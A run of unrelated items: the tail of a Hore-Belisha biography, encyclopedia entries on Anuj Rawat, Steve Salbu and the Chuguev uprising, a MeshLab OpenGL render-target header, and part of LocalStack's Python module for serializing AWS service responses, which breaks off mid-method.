which "echo throughout Europe" but fail to end the war. The other would-be peacemakers, in Wells' vision, included Duff Cooper, Ellen Wilkinson and Randolph Churchill. Further reading Grimwood, Ian R. A Little Chit of a Fellow (Book Guild, 2006) Harris, J. P. "Two War Ministers: A Reassessment of Duff Cooper and Hore-Belisha". War and Society 6#1: May 1988 Christopher Hollis, Oxford in the Twenties (1976) Primary sources R. J. Minney, ed. The Private Papers of Hore-Belisha (Collins, 1960) War Diaries 1939–1945 Field Marshal Lord Alanbrooke edited by Alex Danchev and Daniel Todman (University of California Press, 1957, 1959, 2001) References External links The Papers of Leslie Hore-Belisha held at Churchill Archives Centre 1893 births 1957 deaths Alumni of St John's College, Oxford 20th-century British Jews English people of Moroccan descent British people of World War II British Secretaries of State Councillors in Greater London Jewish British politicians Liberal Party (UK) MPs for English constituencies Members of the Privy Council of the United Kingdom People from Devonport, Plymouth Presidents of the Oxford Union UK MPs 1923–1924 UK MPs 1924–1929 UK MPs 1929–1931 UK MPs 1931–1935 UK MPs 1935–1945 UK MPs who were granted peerages People educated at Clifton College Conservative Party (UK) hereditary peers Burials at Golders Green Jewish Cemetery War Office personnel in World War II Parliamentary Secretaries to the Board of Trade National Liberal Party (UK, 1931) politicians British Army personnel of World War I Royal Army Service Corps officers Secretaries of State for Transport (UK) Ministers in the Churchill caretaker government, 1945 Ministers in the Chamberlain wartime government, 1939–1940 Ministers in the Chamberlain peacetime government, 1937–1939 Hereditary barons created by Elizabeth II Military personnel from London
Anuj Rawat (born 17 October 1999) is an Indian cricketer who represents Delhi in domestic cricket and Royal Challengers Bangalore in Indian Premier League. He is a left-handed top order batsman and wicket-keeper. He made his first-class debut for Delhi in the 2017–18 Ranji Trophy on 6 October 2017. He made his Twenty20 debut for Delhi in the 2018–19 Syed Mushtaq Ali Trophy on 21 February 2019. He made his List A debut on 4 October 2019, for Delhi in the 2019–20 Vijay Hazare Trophy. In the 2020 IPL auction, he was bought by the Rajasthan Royals ahead of the 2020 Indian Premier League. In February 2022, he was bought by the Royal Challengers Bangalore in the 2022 Indian Premier League. References External links 1999 births Living people Indian cricketers Delhi cricketers Rajasthan Royals cricketers Royal Challengers Bangalore cricketers Cricketers from Uttarakhand People from Nainital district Wicket-keepers
Steve Salbu is an American academic. He served as the Cecil B. Day Chair in Business Ethics and dean emeritus of the Scheller College of Business at the Georgia Institute of Technology. Early life Salbu was born in New York. He graduated from Hofstra University, where he earned a bachelor of arts degree. He earned a master of arts degree from Dartmouth College and a JD from the William & Mary Law School. He subsequently earned another master's degree followed by a PhD from the Wharton School of the University of Pennsylvania. Career Salbu joined the McCombs School of Business at the University of Texas at Austin in 1990. He became the Bobbie and Coulter R. Sublett Centennial Endowed Professor in 2000 and subsequently served as the associate dean for graduate programs. At UT Austin, one of Salbu's students was Brian Cruver, the author of Anatomy of Greed. Salbu was appointed as the Stephen P. Zelnak chair and dean of the Scheller College of Business at the Georgia Institute of Technology in 2006. As dean, he accepted a $50 million donation from Ernest Scheller Jr. Salbu was also one of first openly gay business school deans. In a 2012 op-ed in The New York Times, Salbu opined that mayors and aldermen should not prevent Chick-fil-A from opening branches in their cities in spite of Dan Cathy's anti-gay marriage remarks; instead, customers should choose whether to eat there or not. In a 2013 interview with The Wall Street Journal, Salbu discouraged MBA candidates from coming out to prospective employers. Salbu retired as dean in 2014 and became the Cecil B. Day Chair in Business Ethics. References Living people Hofstra University alumni Dartmouth College alumni William & Mary Law School alumni Wharton School of the University of Pennsylvania alumni McCombs School of Business faculty Georgia Tech faculty Business school deans Gay academics Year of birth missing (living people)
```objective-c /**************************************************************************** * MeshLab o o * * A versatile mesh processing toolbox o o * * _ O _ * * Visual Computing Lab /\/| * * ISTI - Italian National Research Council | * * \ * * All rights reserved. * * * * This program is free software; you can redistribute it and/or modify * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * for more details. * * * ****************************************************************************/ #ifndef RFX_RENDERTARGET_H_ #define RFX_RENDERTARGET_H_ #include <cassert> #include <QString> #include <QMap> #include <QImage> #include <GL/glew.h> #include "rfx_state.h" class RfxRenderTarget { public: RfxRenderTarget(const QString&); virtual ~RfxRenderTarget(); void SetSize(int w, int h) { width = w; height = h; } void SetClear(int pass, float depthClear, float *colorClear); void AddGLState(int p, RfxState *s) { passStates[p].append(s); } const QString& GetName() { return name; } GLuint GetTexture() { return colTex; } QImage GetQImage(); bool Setup(int pass); void Bind(int pass); void Unbind(); void UseViewPortDim(bool useVD) { vportdim = useVD; } void GenMipmaps(bool genMip) { mipmaps = genMip; } private: GLuint fbo; GLuint colTex; GLuint depTex; QString name; int width; int height; bool mipmaps; bool vportdim; bool initOk; struct RTOptions { GLint clearMask; bool depthClear; float depthClearVal; bool colorClear; float colorClearVal[4]; }; QMap<int, RTOptions> passOptions; QMap<int, QList<RfxState*> > passStates; }; #endif /* RFX_RENDERTARGET_H_ */ ```
The Chuguev uprising was an armed revolt, conducted by military settlers of the Chuguev Regiment in the town of Chuguev (Chuhuiiv) in 1819, against the harsh working conditions and regulations in military settlements, in which military service was combined with farm work, being introduced into the Russian Empire in 1816. The uprising began on July 9, 1819, with a demand that military settlements be abolished. Peasants from neighboring villages and military settlers from Balakleya (Balakliia) soon joined the military settlers of the Chuguev Regiment in the uprising. In order to crush the revolt, the Russian government dispatched four infantry regiments and two artillery batteries under the command of the minister of war, General Aleksey Arakcheyev. Finally, after a month of fighting, the uprising was crushed. The crushed uprising resulted in the arrests and cruel punishment to about 2,000 rebels, which included 20 rebels being shot and killed, and 400 being subject to hard labor. In 1820, similar revolts occurred in southern Ukraine and involved about 200 different villages. References Chuhuiv uprising - Article in the Encyclopedia of Ukraine Cossack uprisings Conflicts in 1819 19th-century rebellions 1819 in the Russian Empire 1819 in Ukraine 1819 in Poland 1819 in Europe Military history of Ukraine History of Kharkiv Oblast Rebellions against the Russian Empire Chuhuiv
```python """ Response serializers for the different AWS service protocols. The module contains classes that take a service's response dict, and given an operation model, serialize the HTTP response according to the specified output shape. It can be seen as the counterpart to the ``parse`` module in ``botocore`` (which parses the result of these serializer). It has a lot of similarities with the ``serialize`` module in ``botocore``, but serves a different purpose (serializing responses instead of requests). The different protocols have many similarities. The class hierarchy is designed such that the serializers share as much logic as possible. The class hierarchy looks as follows: :: ResponseSerializer BaseXMLResponseSerializer BaseRestResponseSerializer JSONResponseSerializer QueryResponseSerializer RestXMLResponseSerializer RestJSONResponseSerializer EC2ResponseSerializer :: The ``ResponseSerializer`` contains the logic that is used among all the different protocols (``query``, ``json``, ``rest-json``, ``rest-xml``, and ``ec2``). The protocols relate to each other in the following ways: * The ``query`` and the ``rest-xml`` protocols both have XML bodies in their responses which are serialized quite similarly (with some specifics for each type). * The ``json`` and the ``rest-json`` protocols both have JSON bodies in their responses which are serialized the same way. * The ``rest-json`` and ``rest-xml`` protocols serialize some metadata in the HTTP response's header fields * The ``ec2`` protocol is basically similar to the ``query`` protocol with a specific error response formatting. The serializer classes in this module correspond directly to the different protocols. ``#create_serializer`` shows the explicit mapping between the classes and the protocols. The classes are structured as follows: * The ``ResponseSerializer`` contains all the basic logic for the serialization which is shared among all different protocols. * The ``BaseXMLResponseSerializer`` and the ``JSONResponseSerializer`` contain the logic for the XML and the JSON serialization respectively. * The ``BaseRestResponseSerializer`` contains the logic for the REST protocol specifics (i.e. specific HTTP header serializations). * The ``RestXMLResponseSerializer`` and the ``RestJSONResponseSerializer`` inherit the ReST specific logic from the ``BaseRestResponseSerializer`` and the XML / JSON body serialization from their second super class. The services and their protocols are defined by using AWS's Smithy (a language to define services in a - somewhat - protocol-agnostic way). The "peculiarities" in this serializer code usually correspond to certain so-called "traits" in Smithy. The result of the serialization methods is the HTTP response which can be sent back to the calling client. """ import abc import base64 import functools import json import logging import string from abc import ABC from binascii import crc32 from datetime import datetime from email.utils import formatdate from struct import pack from typing import Any, Dict, Iterable, Iterator, List, Optional, Tuple, Union from xml.etree import ElementTree as ETree import xmltodict from botocore.model import ListShape, MapShape, OperationModel, ServiceModel, Shape, StructureShape from botocore.serialize import ISO8601, ISO8601_MICRO from botocore.utils import calculate_md5, is_json_value_header, parse_to_aware_datetime # cbor2: explicitly load from private _encoder module to avoid using the (non-patched) C-version from cbor2._encoder import dumps as cbor2_dumps from werkzeug import Request as WerkzeugRequest from werkzeug import Response as WerkzeugResponse from werkzeug.datastructures import Headers, MIMEAccept from werkzeug.http import parse_accept_header from localstack.aws.api import CommonServiceException, ServiceException from localstack.aws.spec import ProtocolName, load_service from localstack.constants import ( APPLICATION_AMZ_CBOR_1_1, APPLICATION_AMZ_JSON_1_0, APPLICATION_AMZ_JSON_1_1, APPLICATION_CBOR, APPLICATION_JSON, APPLICATION_XML, TEXT_XML, ) from localstack.http import Response from localstack.utils.common import to_bytes, to_str from localstack.utils.strings import long_uid from localstack.utils.xml import strip_xmlns LOG = logging.getLogger(__name__) REQUEST_ID_CHARACTERS = string.digits + string.ascii_uppercase class ResponseSerializerError(Exception): """ Error which is thrown if the request serialization fails. Super class of all exceptions raised by the serializer. """ pass class UnknownSerializerError(ResponseSerializerError): """ Error which indicates that the exception raised by the serializer could be caused by invalid data or by any other (unknown) issue. Errors like this should be reported and indicate an issue in the serializer itself. """ pass class ProtocolSerializerError(ResponseSerializerError): """ Error which indicates that the given data is not compliant with the service's specification and cannot be serialized. This usually results in a response to the client with an HTTP 5xx status code (internal server error). """ pass def _handle_exceptions(func): """ Decorator which handles the exceptions raised by the serializer. It ensures that all exceptions raised by the public methods of the parser are instances of ResponseSerializerError. :param func: to wrap in order to add the exception handling :return: wrapped function """ @functools.wraps(func) def wrapper(*args, **kwargs): try: return func(*args, **kwargs) except ResponseSerializerError: raise except Exception as e: raise UnknownSerializerError( "An unknown error occurred when trying to serialize the response." ) from e return wrapper class ResponseSerializer(abc.ABC): """ The response serializer is responsible for the serialization of a service implementation's result to an actual HTTP response (which will be sent to the calling client). It is the base class of all serializers and therefore contains the basic logic which is used among all of them. """ DEFAULT_ENCODING = "utf-8" # The default timestamp format is ISO8601, but this can be overwritten by subclasses. TIMESTAMP_FORMAT = "iso8601" # Event streaming binary data type mapping for type "string" AWS_BINARY_DATA_TYPE_STRING = 7 # Defines the supported mime types of the specific serializer. Sorted by priority (preferred / default first). # Needs to be specified by subclasses. SUPPORTED_MIME_TYPES: List[str] = [] @_handle_exceptions def serialize_to_response( self, response: dict, operation_model: OperationModel, headers: Optional[Dict | Headers], request_id: str, ) -> Response: """ Takes a response dict and serializes it to an actual HttpResponse. :param response: to serialize :param operation_model: specification of the service & operation containing information about the shape of the service's output / response :param headers: the headers of the incoming request this response should be serialized for. This is necessary for features like Content-Negotiation (define response content type based on request headers). :param request_id: autogenerated AWS request ID identifying the original request :return: Response which can be sent to the calling client :raises: ResponseSerializerError (either a ProtocolSerializerError or an UnknownSerializerError) """ # determine the preferred mime type (based on the serializer's supported mime types and the Accept header) mime_type = self._get_mime_type(headers) # if the operation has a streaming output, handle the serialization differently if operation_model.has_event_stream_output: return self._serialize_event_stream(response, operation_model, mime_type, request_id) serialized_response = self._create_default_response(operation_model, mime_type) shape = operation_model.output_shape # The shape can also be none (for empty responses), but it still needs to be serialized (to add some metadata) shape_members = shape.members if shape is not None else None self._serialize_response( response, serialized_response, shape, shape_members, operation_model, mime_type, request_id, ) serialized_response = self._prepare_additional_traits_in_response( serialized_response, operation_model, request_id ) return serialized_response @_handle_exceptions def serialize_error_to_response( self, error: ServiceException, operation_model: OperationModel, headers: Optional[Dict | Headers], request_id: str, ) -> Response: """ Takes an error instance and serializes it to an actual HttpResponse. Therefore, this method is used for errors which should be serialized and transmitted to the calling client. :param error: to serialize :param operation_model: specification of the service & operation containing information about the shape of the service's output / response :param headers: the headers of the incoming request this response should be serialized for. This is necessary for features like Content-Negotiation (define response content type based on request headers). :param request_id: autogenerated AWS request ID identifying the original request :return: HttpResponse which can be sent to the calling client :raises: ResponseSerializerError (either a ProtocolSerializerError or an UnknownSerializerError) """ # determine the preferred mime type (based on the serializer's supported mime types and the Accept header) mime_type = self._get_mime_type(headers) # TODO implement streaming error serialization serialized_response = self._create_default_response(operation_model, mime_type) if not error or not isinstance(error, ServiceException): raise ProtocolSerializerError( f"Error to serialize ({error.__class__.__name__ if error else None}) is not a ServiceException." ) shape = operation_model.service_model.shape_for_error_code(error.code) serialized_response.status_code = error.status_code self._serialize_error( error, serialized_response, shape, operation_model, mime_type, request_id ) serialized_response = self._prepare_additional_traits_in_response( serialized_response, operation_model, request_id ) return serialized_response def _serialize_response( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: raise NotImplementedError def _serialize_body_params( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> Optional[str]: """ Actually serializes the given params for the given shape to a string for the transmission in the body of the response. :param params: to serialize :param shape: to know how to serialize the params :param operation_model: for additional metadata :param mime_type: Mime type which should be used to encode the payload :param request_id: autogenerated AWS request ID identifying the original request :return: string containing the serialized body """ raise NotImplementedError def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: raise NotImplementedError def _serialize_event_stream( self, response: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> Response: """ Serializes a given response dict (the return payload of a service implementation) to an _event stream_ using the given operation model. :param response: dictionary containing the payload for the response :param operation_model: describing the operation the response dict is being returned by :param mime_type: Mime type which should be used to encode the payload :param request_id: autogenerated AWS request ID identifying the original request :return: Response which can directly be sent to the client (in chunks) """ event_stream_shape = operation_model.get_event_stream_output() event_stream_member_name = operation_model.output_shape.event_stream_name # wrap the generator in operation specific serialization def event_stream_serializer() -> Iterable[bytes]: yield self._encode_event_payload("initial-response") # create a default response serialized_event_response = self._create_default_response(operation_model, mime_type) # get the members of the event stream shape event_stream_shape_members = ( event_stream_shape.members if event_stream_shape is not None else None ) # extract the generator from the given response data event_generator = response.get(event_stream_member_name) if not isinstance(event_generator, Iterator): raise ProtocolSerializerError( "Expected iterator for streaming event serialization." ) # yield one event per generated event for event in event_generator: # find the actual event payload (the member with event=true) event_member_shape = None event_member_name = None for member_name, member_shape in event_stream_shape_members.items(): if member_shape.serialization.get("event") and member_name in event: event_member_shape = member_shape event_member_name = member_name break if event_member_shape is None: raise UnknownSerializerError("Couldn't find event shape for serialization.") # serialize the part of the response for the event self._serialize_response( event.get(event_member_name), serialized_event_response, event_member_shape, event_member_shape.members if event_member_shape is not None else None, operation_model, mime_type, request_id, ) # execute additional response traits (might be modifying the response) serialized_event_response = self._prepare_additional_traits_in_response( serialized_event_response, operation_model, request_id ) # encode the event and yield it yield self._encode_event_payload( event_type=event_member_name, content=serialized_event_response.data ) return Response( response=event_stream_serializer(), status=operation_model.http.get("responseCode", 200), ) def _encode_event_payload( self, event_type: str, content: Union[str, bytes] = "", error_code: Optional[str] = None, error_message: Optional[str] = None, ) -> bytes: """ Encodes the given event payload according to AWS specific binary event encoding. A specification of the format can be found in the AWS docs: path_to_url :param content: string or bytes of the event payload :param event_type: type of the event. Usually the name of the event shape or specific event types like "initial-response". :param error_code: Optional. Error code if the payload represents an error. :param error_message: Optional. Error message if the payload represents an error. :return: bytes with the AWS-specific encoded event payload """ # determine the event type (error if an error message or an error code is set) if error_message or error_code: message_type = "error" else: message_type = "event" # set the headers headers = {":event-type": event_type, ":message-type": message_type} if error_message: headers[":error-message"] = error_message if error_code: headers[":error-code"] = error_code # construct headers header_section = b"" for key, value in headers.items(): header_name = key.encode(self.DEFAULT_ENCODING) header_value = to_bytes(value) header_section += pack("!B", len(header_name)) header_section += header_name header_section += pack("!B", self.AWS_BINARY_DATA_TYPE_STRING) header_section += pack("!H", len(header_value)) header_section += header_value # construct body if isinstance(content, str): payload = bytes(content, self.DEFAULT_ENCODING) else: payload = content # calculate lengths headers_length = len(header_section) payload_length = len(payload) # construct message # - prelude result = pack("!I", payload_length + headers_length + 16) result += pack("!I", headers_length) # - prelude crc prelude_crc = crc32(result) result += pack("!I", prelude_crc) # - headers result += header_section # - payload result += payload # - message crc payload_crc = crc32(result) result += pack("!I", payload_crc) return result def _create_default_response(self, operation_model: OperationModel, mime_type: str) -> Response: """ Creates a boilerplate default response to be used by subclasses as starting points. Uses the default HTTP response status code defined in the operation model (if defined), otherwise 200. :param operation_model: to extract the default HTTP status code :param mime_type: Mime type which should be used to encode the payload :return: boilerplate HTTP response """ return Response(status=operation_model.http.get("responseCode", 200)) def _get_mime_type(self, headers: Optional[Dict | Headers]) -> str: """ Extracts the accepted mime type from the request headers and returns a matching, supported mime type for the serializer or the default mime type of the service if there is no match. :param headers: to extract the "Accept" header from :return: preferred mime type to be used by the serializer (if it is not accepted by the client, an error is logged) """ accept_header = None if headers and "Accept" in headers and not headers.get("Accept") == "*/*": accept_header = headers.get("Accept") elif headers and headers.get("Content-Type"): # If there is no specific Accept header given, we use the given Content-Type as a fallback. # i.e. if the request content was JSON encoded and the client doesn't send a specific an Accept header, the # serializer should prefer JSON encoding. content_type = headers.get("Content-Type") LOG.debug( "No accept header given. Using request's Content-Type (%s) as preferred response Content-Type.", content_type, ) accept_header = content_type + ", */*" mime_accept: MIMEAccept = parse_accept_header(accept_header, MIMEAccept) mime_type = mime_accept.best_match(self.SUPPORTED_MIME_TYPES) if not mime_type: # There is no match between the supported mime types and the requested one(s) mime_type = self.SUPPORTED_MIME_TYPES[0] LOG.debug( "Determined accept type (%s) is not supported by this serializer. Using default of this serializer: %s", accept_header, mime_type, ) return mime_type # Some extra utility methods subclasses can use. @staticmethod def _timestamp_iso8601(value: datetime) -> str: if value.microsecond > 0: timestamp_format = ISO8601_MICRO else: timestamp_format = ISO8601 return value.strftime(timestamp_format) @staticmethod def _timestamp_unixtimestamp(value: datetime) -> float: return value.timestamp() def _timestamp_rfc822(self, value: datetime) -> str: if isinstance(value, datetime): value = self._timestamp_unixtimestamp(value) return formatdate(value, usegmt=True) def _convert_timestamp_to_str( self, value: Union[int, str, datetime], timestamp_format=None ) -> str: if timestamp_format is None: timestamp_format = self.TIMESTAMP_FORMAT timestamp_format = timestamp_format.lower() datetime_obj = parse_to_aware_datetime(value) converter = getattr(self, "_timestamp_%s" % timestamp_format) final_value = converter(datetime_obj) return final_value @staticmethod def _get_serialized_name(shape: Shape, default_name: str) -> str: """ Returns the serialized name for the shape if it exists. Otherwise, it will return the passed in default_name. """ return shape.serialization.get("name", default_name) def _get_base64(self, value: Union[str, bytes]): """ Returns the base64-encoded version of value, handling both strings and bytes. The returned value is a string via the default encoding. """ if isinstance(value, str): value = value.encode(self.DEFAULT_ENCODING) return base64.b64encode(value).strip().decode(self.DEFAULT_ENCODING) def _encode_payload(self, body: Union[bytes, str]) -> bytes: if isinstance(body, str): return body.encode(self.DEFAULT_ENCODING) return body def _prepare_additional_traits_in_response( self, response: Response, operation_model: OperationModel, request_id: str ): """Applies additional traits on the raw response for a given model or protocol.""" if operation_model.http_checksum_required: self._add_md5_header(response) return response def _has_header(self, header_name: str, headers: dict): """Case-insensitive check for header key.""" if header_name is None: return False else: return header_name.lower() in [key.lower() for key in headers.keys()] def _add_md5_header(self, response: Response): """Add a Content-MD5 header if not yet there. Adapted from botocore.utils""" headers = response.headers body = response.data if body is not None and "Content-MD5" not in headers: md5_digest = calculate_md5(body) headers["Content-MD5"] = md5_digest def _get_error_message(self, error: Exception) -> Optional[str]: return str(error) if error is not None and str(error) != "None" else None class BaseXMLResponseSerializer(ResponseSerializer): """ The BaseXMLResponseSerializer performs the basic logic for the XML response serialization. It is slightly adapted by the QueryResponseSerializer. While the botocore's RestXMLSerializer is quite similar, there are some subtle differences (since botocore's implementation handles the serialization of the requests from the client to the service, not the responses from the service to the client). """ SUPPORTED_MIME_TYPES = [TEXT_XML, APPLICATION_XML, APPLICATION_JSON] def _serialize_error( self, error: ServiceException, response: Response, shape: StructureShape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: # Check if we need to add a namespace attr = ( {"xmlns": operation_model.metadata.get("xmlNamespace")} if "xmlNamespace" in operation_model.metadata else {} ) root = ETree.Element("ErrorResponse", attr) error_tag = ETree.SubElement(root, "Error") self._add_error_tags(error, error_tag, mime_type) request_id_element = ETree.SubElement(root, "RequestId") request_id_element.text = request_id self._add_additional_error_tags(vars(error), root, shape, mime_type) response.set_response(self._encode_payload(self._node_to_string(root, mime_type))) def _add_error_tags( self, error: ServiceException, error_tag: ETree.Element, mime_type: str ) -> None: code_tag = ETree.SubElement(error_tag, "Code") code_tag.text = error.code message = self._get_error_message(error) if message: self._default_serialize(error_tag, message, None, "Message", mime_type) if error.sender_fault: # The sender fault is either not set or "Sender" self._default_serialize(error_tag, "Sender", None, "Type", mime_type) def _add_additional_error_tags( self, parameters: dict, node: ETree, shape: StructureShape, mime_type: str ): if shape: params = {} # TODO add a possibility to serialize simple non-modelled errors (like S3 NoSuchBucket#BucketName) for member in shape.members: # XML protocols do not add modeled default fields to the root node # (tested for cloudfront, route53, cloudwatch, iam) if member.lower() not in ["code", "message"] and member in parameters: params[member] = parameters[member] # If there is an error shape with members which should be set, they need to be added to the node if params: # Serialize the remaining params root_name = shape.serialization.get("name", shape.name) pseudo_root = ETree.Element("") self._serialize(shape, params, pseudo_root, root_name, mime_type) real_root = list(pseudo_root)[0] # Add the child elements to the already created root error element for child in list(real_root): node.append(child) def _serialize_body_params( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str, request_id: str, ) -> Optional[str]: root = self._serialize_body_params_to_xml(params, shape, operation_model, mime_type) self._prepare_additional_traits_in_xml(root, request_id) return self._node_to_string(root, mime_type) def _serialize_body_params_to_xml( self, params: dict, shape: Shape, operation_model: OperationModel, mime_type: str ) -> Optional[ETree.Element]: if shape is None: return # The botocore serializer expects `shape.serialization["name"]`, but this isn't always present for responses root_name = shape.serialization.get("name", shape.name) pseudo_root = ETree.Element("") self._serialize(shape, params, pseudo_root, root_name, mime_type) real_root = list(pseudo_root)[0] return real_root def _serialize( self, shape: Shape, params: Any, xmlnode: ETree.Element, name: str, mime_type: str ) -> None: """This method dynamically invokes the correct `_serialize_type_*` method for each shape type.""" if shape is None: return # Some output shapes define a `resultWrapper` in their serialization spec. # While the name would imply that the result is _wrapped_, it is actually renamed. if shape.serialization.get("resultWrapper"): name = shape.serialization.get("resultWrapper") try: method = getattr(self, "_serialize_type_%s" % shape.type_name, self._default_serialize) method(xmlnode, params, shape, name, mime_type) except (TypeError, ValueError, AttributeError) as e: raise ProtocolSerializerError( f"Invalid type when serializing {shape.name}: '{xmlnode}' cannot be parsed to {shape.type_name}." ) from e def _serialize_type_structure( self, xmlnode: ETree.Element, params: dict, shape: StructureShape, name: str, mime_type ) -> None: structure_node = ETree.SubElement(xmlnode, name) if "xmlNamespace" in shape.serialization: namespace_metadata = shape.serialization["xmlNamespace"] attribute_name = "xmlns" if namespace_metadata.get("prefix"): attribute_name += ":%s" % namespace_metadata["prefix"] structure_node.attrib[attribute_name] = namespace_metadata["uri"] for key, value in params.items(): if value is None: # Don't serialize any param whose value is None. continue try: member_shape = shape.members[key] except KeyError: LOG.warning( "Response object %s contains a member which is not specified: %s", shape.name, key, ) continue member_name = member_shape.serialization.get("name", key) # We need to special case member shapes that are marked as an xmlAttribute. # Rather than serializing into an XML child node, we instead serialize the shape to # an XML attribute of the *current* node. if member_shape.serialization.get("xmlAttribute"): # xmlAttributes must have a serialization name. xml_attribute_name = member_shape.serialization["name"] structure_node.attrib[xml_attribute_name] = value continue self._serialize(member_shape, value, structure_node, member_name, mime_type) def _serialize_type_list( self, xmlnode: ETree.Element, params: list, shape: ListShape, name: str, mime_type: str ) -> None: if params is None: # Don't serialize any param whose value is None. return member_shape = shape.member if shape.serialization.get("flattened"): # If the list is flattened, either take the member's "name" or the name of the usual name for the parent # element for the children. element_name = self._get_serialized_name(member_shape, name) list_node = xmlnode else: element_name = self._get_serialized_name(member_shape, "member") list_node = ETree.SubElement(xmlnode, name) for item in params: # Don't serialize any item which is None if item is not None: self._serialize(member_shape, item, list_node, element_name, mime_type) def _serialize_type_map( self, xmlnode: ETree.Element, params: dict, shape: MapShape, name: str, mime_type: str ) -> None: """ Given the ``name`` of MyMap, an input of {"key1": "val1", "key2": "val2"}, and the ``flattened: False`` we serialize this as: <MyMap> <entry> <key>key1</key> <value>val1</value> </entry> <entry> <key>key2</key> <value>val2</value> </entry> </MyMap> If it is flattened, it is serialized as follows: <MyMap> <key>key1</key> <value>val1</value> </MyMap> <MyMap> <key>key2</key> <value>val2</value> </MyMap> """ if params is None: # Don't serialize a non-existing map return if shape.serialization.get("flattened"): entries_node = xmlnode entry_node_name = name else: entries_node = ETree.SubElement(xmlnode, name) entry_node_name = "entry" for key, value in params.items(): if value is None: # Don't serialize any param whose value is None. continue entry_node = ETree.SubElement(entries_node, entry_node_name) key_name = self._get_serialized_name(shape.key, default_name="key") val_name = self._get_serialized_name(shape.value, default_name="value") self._serialize(shape.key, key, entry_node, key_name, mime_type) self._serialize(shape.value, value, entry_node, val_name, mime_type) @staticmethod def _serialize_type_boolean(xmlnode: ETree.Element, params: bool, _, name: str, __) -> None: """ For scalar types, the 'params' attr is actually just a scalar value representing the data we need to serialize as a boolean. It will either be 'true' or 'false' """ node = ETree.SubElement(xmlnode, name) if params: str_value = "true" else: str_value = "false" node.text = str_value def _serialize_type_blob( self, xmlnode: ETree.Element, params: Union[str, bytes], _, name: str, __ ) -> None: node = ETree.SubElement(xmlnode, name) node.text = self._get_base64(params) def _serialize_type_timestamp( self, xmlnode: ETree.Element, params: str, shape: Shape, name: str, mime_type: str ) -> None: node = ETree.SubElement(xmlnode, name) if mime_type != APPLICATION_JSON: # Default XML timestamp serialization node.text = self._convert_timestamp_to_str( params, shape.serialization.get("timestampFormat") ) else: # For services with XML protocols, where the Accept header is JSON, timestamps are formatted like for JSON # protocols, but using the int representation instead of the float representation (f.e. requesting JSON # responses in STS). node.text = str( int(self._convert_timestamp_to_str(params, JSONResponseSerializer.TIMESTAMP_FORMAT)) ) def _default_serialize(self, xmlnode: ETree.Element, params: str, _, name: str, __) -> None: node = ETree.SubElement(xmlnode, name) node.text = str(params) def _prepare_additional_traits_in_xml(self, root: Optional[ETree.Element], request_id: str): """ Prepares the XML root node before being serialized with additional traits (like the Response ID in the Query protocol). For some protocols (like rest-xml), the root can be None. """ pass def _create_default_response(self, operation_model: OperationModel, mime_type: str) -> Response: response = super()._create_default_response(operation_model, mime_type) response.headers["Content-Type"] = mime_type return response def _node_to_string(self, root: Optional[ETree.Element], mime_type: str) -> Optional[str]: """Generates the string representation of the given XML element.""" if root is not None: content = ETree.tostring( element=root, encoding=self.DEFAULT_ENCODING, xml_declaration=True ) if mime_type == APPLICATION_JSON: # FIXME try to directly convert the ElementTree node to JSON xml_dict = xmltodict.parse(content) xml_dict = strip_xmlns(xml_dict) content = json.dumps(xml_dict) return content class BaseRestResponseSerializer(ResponseSerializer, ABC): """ The BaseRestResponseSerializer performs the basic logic for the ReST response serialization. In our case it basically only adds the request metadata to the HTTP header. """ HEADER_TIMESTAMP_FORMAT = "rfc822" def _serialize_response( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: header_params, payload_params = self._partition_members(parameters, shape) self._process_header_members(header_params, response, shape) # "HEAD" responses are basically "GET" responses without the actual body. # Do not process the body payload in this case (setting a body could also manipulate the headers) if operation_model.http.get("method") != "HEAD": self._serialize_payload( payload_params, response, shape, shape_members, operation_model, mime_type, request_id, ) self._serialize_content_type(response, shape, shape_members, mime_type) self._prepare_additional_traits_in_response(response, operation_model, request_id) def _serialize_payload( self, parameters: dict, response: Response, shape: Optional[Shape], shape_members: dict, operation_model: OperationModel, mime_type: str, request_id: str, ) -> None: """ Serializes the given payload. :param parameters: The user input params :param response: The final serialized Response :param shape: Describes the expected output shape (can be None in case of an "empty" response) :param shape_members: The members of the output struct shape :param operation_model: The specification of the operation of which the response is serialized here :param mime_type: Mime type which should be used to encode the payload :param request_id: autogenerated AWS request ID identifying the original request :return: None - the given `serialized` dict is modified """ if shape is None: return payload_member = shape.serialization.get("payload") # If this shape is defined as being an event, we need to search for the payload member if not payload_member and shape.serialization.get("event"): for member_name, member_shape in shape_members.items(): # Try to find the first shape which is marked as "eventpayload" and is given in the params dict if member_shape.serialization.get("eventpayload") and parameters.get(member_name): payload_member = member_name break if payload_member is not None and shape_members[payload_member].type_name in [ "blob", "string", ]: # If it's streaming, then the body is just the value of the payload. body_payload = parameters.get(payload_member, b"") body_payload = self._encode_payload(body_payload) response.set_response(body_payload) elif payload_member is not None: # If there's a payload member, we serialized that member to the body. body_params = parameters.get(payload_member) if body_params is not None: response.set_response( self._encode_payload( self._serialize_body_params( body_params, shape_members[payload_member], operation_model, mime_type, request_id, ) ) ) else: # Otherwise, we use the "traditional" way of serializing the whole parameters dict recursively. response.set_response( self._encode_payload( self._serialize_body_params( parameters, shape, operation_model, mime_type, request_id ) ) ) def _serialize_content_type( self, serialized: Response, shape: Shape, shape_members: dict, mime_type: str ): """ Some protocols require varied Content-Type headers depending on user input. This allows subclasses to apply this conditionally. """ pass def _has_streaming_payload(self, payload: Optional[str], shape_members): """Determine if payload is streaming (a blob or string).""" return payload is not None and shape_members[payload].type_name in ["blob", "string"] def _prepare_additional_traits_in_response( self, response: Response, operation_model: OperationModel, request_id: str ): """Adds the request ID to the headers (in contrast to the body - as in the Query protocol).""" response = super()._prepare_additional_traits_in_response( response, operation_model, request_id ) response.headers["x-amz-request-id"] = request_id return response def _process_header_members(self, parameters: dict, response: Response, shape: Shape): shape_members = shape.members if 